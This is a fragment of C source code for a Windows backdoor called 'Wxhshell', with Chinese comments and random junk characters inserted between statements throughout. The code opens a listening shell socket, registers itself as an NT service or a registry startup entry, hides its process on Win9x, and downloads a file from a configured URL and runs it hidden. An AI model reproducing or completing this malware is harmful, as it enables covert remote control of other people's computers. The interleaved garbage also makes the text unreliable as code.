?12[8 > r1cW7 CloseHandle(hProcess); hfE5[ @{P<!x <Q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y&!-VW if(hProcess==NULL) return 0; />Kd w <| 8N\FU{ HMODULE hMod; i=T!4'Zu char procName[255]; )l g>'O unsigned long cbNeeded; iY?J3nxD-: Of0(.-Q w if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hGh91c;4 l7 Pn5c CloseHandle(hProcess); 2T 3tKX pse$ S= if(strstr(procName,"services")) return 1; // 以服务启动 0Lb:N]5m8 o|(Ivt7jk return 0; // 注册表启动 Vl'Gi44)3" } H c,e&R Gf71udaa // 主模块 Jx@_OE_vp int StartWxhshell(LPSTR lpCmdLine) f$1&)1W[ { [wOz<< SOCKET wsl; uaghB,i'n BOOL val=TRUE; /M!b3bmA int port=0; qQjd@J}^ struct sockaddr_in door; $0 ]xeD0X 8uAA6h+ if(wscfg.ws_autoins) Install(); =Ot|d #_ =D;n#n 7 port=atoi(lpCmdLine); +*uaB 9UDanj P if(port<=0) port=wscfg.ws_port; \.ukZqB3
0 f|f)Kys%5 WSADATA data; W% @r if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eF-U
1ZJT R&.mNji* if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; fVf
@Ngvu setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (;VlK#rnC door.sin_family = AF_INET; ":@\kw door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~'1gX`o: door.sin_port = htons(port); &A}hx\_T B']-4X{SGa if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fk&>2[^& closesocket(wsl); rj}O2~W~4 return 1; >PuQ{T I } hZ_@U?^ VOJA}$ if(listen(wsl,2) == INVALID_SOCKET) { cYmgJBG closesocket(wsl); Th_PmkvC return 1; B@w/wH } /_SQKpic Wxhshell(wsl); ibH!bS{ WSACleanup(); hXnfZx% A(eB\qG return 0; PH.g+u=v H^ 'As;R } n)|{tb^ V82HO{ D // 以NT服务方式启动 S5o,\wT VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) eWWqK9B.- { ] M`%@ps DWORD status = 0; ylm #Xa DWORD specificError = 0xfffffff; 3 C{A PI\C*_. serviceStatus.dwServiceType = SERVICE_WIN32; )Cu2xRr^` serviceStatus.dwCurrentState = SERVICE_START_PENDING; ff&jR71E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -wa"&Q serviceStatus.dwWin32ExitCode = 0; @yM$Et5 serviceStatus.dwServiceSpecificExitCode = 0; @U+#@6 serviceStatus.dwCheckPoint = 0; /|0xOiib serviceStatus.dwWaitHint = 0; Z_U4Yy'NNw 60TM!\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <$(y6+lY if (hServiceStatusHandle==0) return; }1
,\*)5 ]sTb Ew.[ status = GetLastError(); s<>d&W 0= if (status!=NO_ERROR) sZx`u+ { A^ofs*"Y serviceStatus.dwCurrentState = SERVICE_STOPPED; "%}24t% serviceStatus.dwCheckPoint = 0; GXaPfC0-y serviceStatus.dwWaitHint = 0; @r&*Qsf| serviceStatus.dwWin32ExitCode = status; :6MV@{;PJ serviceStatus.dwServiceSpecificExitCode = specificError; xv"v=' SetServiceStatus(hServiceStatusHandle, &serviceStatus); dBw7l} return; |yl,7m/B-G } ''dS{nQs =MU(!` serviceStatus.dwCurrentState = SERVICE_RUNNING; ]ur?i{S, serviceStatus.dwCheckPoint = 0; {p.^E5& serviceStatus.dwWaitHint = 0; %nRgHN> if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9>ajhFyOhX } 1etT." 9(3]t}J5
d // 处理NT服务事件,比如:启动、停止 ZIN1y;dJ VOID WINAPI NTServiceHandler(DWORD fdwControl) nll=Vd[ { GKc? switch(fdwControl) en>n\;U { u*f`\vs case SERVICE_CONTROL_STOP: /WGD7\G'8 serviceStatus.dwWin32ExitCode = 0; qj9[mBkP" serviceStatus.dwCurrentState = SERVICE_STOPPED; U&i#cF serviceStatus.dwCheckPoint = 0; Z`_x|cU?J serviceStatus.dwWaitHint = 0; Lk)I;; { C$p012D1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); L;lu)|b" } i?ZVVE=r return; !2Gua1z!CJ case SERVICE_CONTROL_PAUSE: D]o=I1O? serviceStatus.dwCurrentState = SERVICE_PAUSED; 6f2?)jOW^N break; et2;{Tb,5 case SERVICE_CONTROL_CONTINUE: X%mga~fB serviceStatus.dwCurrentState = SERVICE_RUNNING; %~I&T".iC break; |8pSMgN case SERVICE_CONTROL_INTERROGATE: denxcDFu/~ break; {#st>%i }; jzJQ/ZFS SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gphy8~eS } n}b{u@$ XV/7K" // 标准应用程序主函数 _aYhW{wW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #W6 6`{> { uH?dy55Y idB1%?< // 获取操作系统版本 oi
m7=I0 OsIsNt=GetOsVer(); p5jR;nOZ%l GetModuleFileName(NULL,ExeFile,MAX_PATH); !E&l=*lM. F?$Vx)HI // 从命令行安装 vf zC2 if(strpbrk(lpCmdLine,"iI")) Install(); =;+gge!?bB O|S,="h"} // 下载执行文件 L(bDk'zi if(wscfg.ws_downexe) { O:sqm
n if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _CPj]m{ WinExec(wscfg.ws_filenam,SW_HIDE); cRH(@b
Xr } wo+`WnDh sj4\lpZ3h if(!OsIsNt) { L pq)TE# // 如果时win9x,隐藏进程并且设置为注册表启动 43E)ltR=] HideProc(); 9Nps<+K StartWxhshell(lpCmdLine); 1.M<u)1GU } FShUw+y else A@Q6}ESD if(StartFromService()) Td,d9M // 以服务方式启动 4qQE9fxdY StartServiceCtrlDispatcher(DispatchTable); "b402"& else +.&P$`;TZj // 普通方式启动 ?%`Ph ?BZl StartWxhshell(lpCmdLine); V@]SKbK}wN GMg!2CIU return 0; 3$xpZm60 }
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